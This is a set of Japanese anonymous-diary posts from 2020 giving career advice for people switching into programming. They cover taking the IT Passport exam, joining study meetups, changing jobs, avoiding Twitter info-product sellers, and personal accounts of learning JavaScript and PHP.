もちろん最初からITパスポートじゃなくて基本情報技術者応用情報技術者を取ってもいい。でも変にプライド出して背伸びするよりITパスポート取ってからとった方がいい。勉強大好きマンとかじゃない限り、いきなり基本情報技術者はまず落ちると思う。落ちないと思うならやればいいけどキツくても知らんぞ。

どこかの勉強会に参加する

勉強会といってもよくわからんセミナーとかじゃなくて、ほんとに技術好きな人が集まるほぼ無料勉強会に参加すること。1万とか2万とかよくわかんない金額払わないといけないやつはクソなのでスルーおk。気をつけよう。

たぶん勉強会に参加しても何言ってるかわからないはず。それで何がいいのかというと、自分との差を自覚できること。参考になることも多い。そのうちわかるので大丈夫

でも、ただ漫然と勉強会に参加しただけじゃ勉強にならないので注意。結局やるのは自分。がんばろう。

こっそり強いひとのTwitterなりをフォローして、ツイートに出てくる謎の専門用語をググりまくったりしてるとそのうち自分の血肉となることもある。ならないこともある。

さら資格とりつつ転職する

最初に入った会社には申し訳ないけど、何も知らない馬の骨的未経験者を大量に雇う会社能力が高い人がたくさんいることは少ない。1年ぐらいでとっとと基礎的なことを学んだら転職してステップアップするのが吉。

最初会社に入っているとき資格とって強く見せると転職成功率高い。なんで資格重要かというと、1年じゃ実績なんて大して積めないのでそれぐらいしか他人に見せるものがないこと(特に外部に対しては)

IT業界資格軽視されがちだけどなんだかんだ持ってると楽。「この人アホじゃないんだな」「少なくともめっちゃハズレということはない」が担保されるので楽。

資格なくても強いひととかいるけど、そういう人は既に実績があったり、資格じゃない見せ方とかできているので、いままで何も知らなかった人とは全然違う。当然、どこの大学たかとかも全部資格のうち。とにかく可視スキルポイントを積んでおくと転職に有利。ついでにそこそこ体系的に網羅されてるので実務にもそれなりに良い影響を及ぼす。

当たり前だけど難しい資格ほどポイント高い。コスパいいのでがんばろう。ただし、あんまり資格一辺倒でもよくない。業務関係する知識も吸収してライバルに差をつけよう!

転職成功すれば給料バイトレベルは通り越してると思う。「人生少し変わったな」と少しは思えるはず。

2年目・3年目になったらある程度仕事にも慣れてきて指針が見えているはずなので、近くのすごい人をモデルにするといいかも。がんばろう。

この時点でたくさん稼げるとキラキラ目を輝かせてる人もいるかもしれないけど、そんなに稼げない。金を稼ぎたいのはわかるけど、今の自分を見て地に足つけて少しずつ上げないと無理。「一発逆転」とか「楽して○○」とかそういうこと考えてる人ほどよくわかんない高額スクールかに騙されるんだよね。投資信託系の詐欺とかと同じ構図。

あとはご自由

3年マジメにやってると、中堅エンジニアの仲間入りができると思う。

中堅というか、ダラダラやっていた人たちをごぼう抜きしただけでまだほとんどビギナーなんだけど。

このあとは会社一生懸命働いて実績積むのもありだし、資格厨になるのもありだし、プログラマの中でも自分おもしろいと思える分野を見つけてそこに突進していくのもありだと思う。もう頑張るのはやめてそれなりに働くのもあり。

キャリアチェンジとしては成功していると思うので、自分からこれ以上何かアドバイスすることはない。

まあなんといっても、キツいのは1年目かな。「金もない・技術もない・人脈もない」のないない尽くしなので、そこをグッとこらえてガッといけばいける。1年グッてするの嫌な人は2年・3年キュッてするのでいいと思う。がんばろう

脳死でここに書いてあることやるだけでいいので指針としてはかなりシンプルで楽だと思う。個人的オススメです。

追記

もちろんITパスポートだけじゃ全然ダメなところもあると思う。ただここで言いたいのは、外部向けのわかりやすスキル・実績を作るのって結構難しいので、国内共通資格で、かなり簡単な部類のITパスポートをまずは取ってみてはいかが?ということ。そこをやらないで基本情報技術者などを取ろうとするのはなんか変だと思う。自分としては「ITパスポートで足りる」とは言ってないつもり。ぶっちゃけ全然足りない。あと、未経験者のくせにITパスポートなめて背伸びすると、落ちたとき絶望すると思う。まずはやる。そして受かる。なめたいなら合格したあとでも遅くない。

ITパスポートなんて意味ない。コード書け」っていうのもわかる。それでGitHub勉強してるコードを上げるのでもいいけど、これはある程度応募者に興味が沸いた結果「ちょっと詳しく見てみようかな〜」となってる段階で発生することだと思う。ポートフォリオも頑張って作られる割に、見る方は10秒ぐらい見て「ふーん」ってなる程度。見られないこともある。

それに採用の初期段階ではエンジニアが応募者の書類を細かく見ないことも多いので「未経験無資格」は「ダメでしょ」と即切りされる可能性も高い。そういう無資格の人が100人応募してる中、1人だけITパスポート持ってたらそりゃ選ぶでしょって感じ。もちろん、応募者100人ITパスポートレベルを持ってるような会社では選ばれないけど。

たとえば、ITパスポートとってきてプログラミング資格とってきてGitHubHTML/CSS/JavaScript勉強した感じのコードが上がっていてWordPressで作ったポートフォリオサイトがあったら、新人としてはかなり優秀で、「コイツわかってるな」と思わせられる。ここが0の人と比較すると、とんでもなく価値が高い(あくまで「新人としては」だけど)。この人と「スクール勉強してきました」ってだけの人じゃもう話にならないぐらい違う。何日間勉強したとか関係ない。見えている結果がすべて。

資格というのは別にAtCoder茶色になるとかでもいい。とにかく外部に一瞬でわかりやすく見せられる能力必要。これは「iOSアプリ作った」「Androidアプリ作った」「Chrome Extension作った」とかでもなんでもいい。汎用性高いのが公的資格であるITパスポートというノリ。

2020-05-19

anond:20200519162131

プログラミングをともに学ぶ仲間をTwitterで探すのはやめておこう(追記

「一緒に学ぶ仲間が欲しい」と思うことがあるだろうが、Twitterで分からないところを検索したり、不安つぶやくことはやめたほうがいい。

Twitterで「Progateで勉強を始めた」「プログラミング勉強を始めた」「JavaScriptのここが分からない」とつぶやくと、

自称プログラミング講師自称現役エンジニアが、いいね!をつけてくることがある。

こいつらは全員情報商材屋かアフィ屋なので、ブロックしたほうがいい。

プロフィール文に、

「未経験→●●で学習→数カ月で現役エンジニアに!」

「未経験から独学でプログラミング学習し、フリーランスとして独立!〇〇について発信するブログオンラインサロン運営中!自分可能性を広げたいプログラミング経験者を応援したい!」

といったことを書いていたり、絵文字を多用した箇条書きのツイートを連発している人には、絶対に関わってはいけない。

彼らは他人不安に付け込んで小銭儲けをしたいだけである。「未経験」「独立」「運営中」「発信中」を謳うアカウントに関わってはいけない。

また、「#プログラミング初心者」「#駆け出しエンジニアと繋がりたい」「今日の積み上げ」などのハッシュタグをつぶやいている人々が見つかるとおもう。

彼らも情報商材屋予備軍、あるいは情報商材屋の商材に踊らされている場合ほとんどである自身で何が有益かを判断できないうちは近寄らないほうがいい。

しかに、頼るべきチューターや、共に頑張る友人の存在モチベーションにつながるのは間違いない。

しかし、闇雲に最短ルートを追い求めた結果、頼るべき人物を間違えるほうがはるか危険である

そもそも不安を感じることは、決して悪いことではない。

しろ不安を楽しみ、その不安自分自身解決する習慣を身につけたほうがいい。

どうしても相談する場所や仲間が欲しいなら、N予備校掲示板slack

あるいはオフライン勉強会で実際に顔を合わせた人を頼ったほうがいいと思う。(勉強会は今は開催が難しいだろうが)

anond:20200519195232

中学高校の時にLSI-C試食版+苦しみながら覚えるC。高校~二十歳くらいで、javaの何かの書籍eclipsejava基本的な内容。

20代前半にリーマンショック基金訓練プログラム教室っぽい所で学習。ただし、ここの教室で習ったのは、ほとんど↑で学習済みだった。

25くらいまでに、派遣短期接客テレアポ仕事転々と。25から派遣やら契約で、短期テスター職を転々と。ただし、用意された項目書を淡々実施するだけの現場

転々とした職場で、ある程度自由にさせてくれる現場があって、テスター職なままだけど、8年くらい継続して雇用されてる。まぁ給料は安いけど、今のIT関連の技術ほとんどはこの現場で覚えたと思う。(自学自習だけど)

この現場の3年目くらいに、wordpressphpの基礎レベル書籍を一冊ずつ。wordpresshttps://www.amazon.co.jp/dp/B07B2RNCZ1/もっと古い版(wordpress3.5くらいの頃)で、PHPは何の本か忘れた。

現場の5年目くらいに、javascriptの本を2冊。 https://www.amazon.co.jp/dp/B01LYO6C1N/https://www.amazon.co.jp/dp/B06XRSFM6G/ の、どちらも一つ前の古い版。

一応、この後ぐらいに30万くらい払ってプログラム教室っぽいところ行ったけれど、こっちもほとんど既習済みの内容で、正直無駄な金だったと思う。

多分、自分はこんな感じ。教室っぽいのには通ってはいるけれど、どちらも今に生きてないよ。正直、『何かを作りたい』とか『何かを解決したい』という意欲の方が、よっぽど重要だと思う。

javascriptで良いなら、ブックマークレットやtempermonkey(chrome拡張)で、自分が良く見てるサイトを便利にする方法を作ってみるとかいいんじゃないかな。

---

javascriptの後者の本(ゲームプログラミングのほう)、間違えてたので差し替えます差し替える前 → https://www.amazon.co.jp/dp/B06XSZ3Y2F/

javascriptはfloat型の有効桁数が15桁までというのが一番はまるトラップ説。

2020-05-17

JavaScriptってJavaのパチもんみたいな名前のくせにWrite once, run anywhereに一番近い言語になってきてるな

2020-05-06

anond:20200505233945

VBAExcelとか触ってるならPythonSelenium使ってWebシステム自動化や、PyAutoGUIで普通アプリ自動化とかやってみて欲しい

Pythonは少し癖があるけど難しい言語ではないし(VBAとはかなり毛色が違うとは思う)、ちょっと手間かかるけどPyCharmとかVSCodeとかの環境整えて補完やテストデバッグバージョン管理のやり方覚えると、VBAよりもイライラが驚くほど減ると思う

あるいは、プログラミング自動化好きな人と道具的なツールアプリを作るのが好きな人自己表現好きな人がいるように思えて(あとゲーム作り好き)、自動化好きな人ツールアプリを作るのが好きな人結構好みが似ていると思うからPCソフトを作るならC#+VisualStudioiOS/AndroidソフトならSwift/KotlinWebアプリならJavaScript(と今ならVueとか?よく知らない)とかを覚えると面白いかもしれない

自動化転職するのは難しい気がするけれど(事務系の資格持ちとかならスキルとして強いと思う)、アプリ開発ならかなり求人多いし、零細が多いか年収気にしなければ高卒でも就職は出来ると思う

anond:20200505233945

オレっちお前のパイセンだけど食うだけなら食っていけるぞ

底辺工業高校卒(卒業者が入学時の半分)

バイトExcelの便利ワークシート作成を経てVBAに触れる

VBAからおなじBASICつながりのVB.netClassを扱う便利さに目覚める

→いまどきはJavaScriptも扱えないとねってなる:最近はWindowsOnlyで業務しているのにブラウザ対応を求められる謎風潮

やっとこ年収400万(ようやく人並み?)を超えられるようになった

三角関数より会社における数字を扱うことの知識(要は金勘定)の方が求められる

よくありがちなチュートリアルより、DBファイル(csvJSON、固定長のテキスト)から自分が取り扱う言語体系で読み込む、加工して永続化するってのをスラスラできるようになるのが大事だと思う

ログイン ユーザー登録
ようこそ ゲスト さん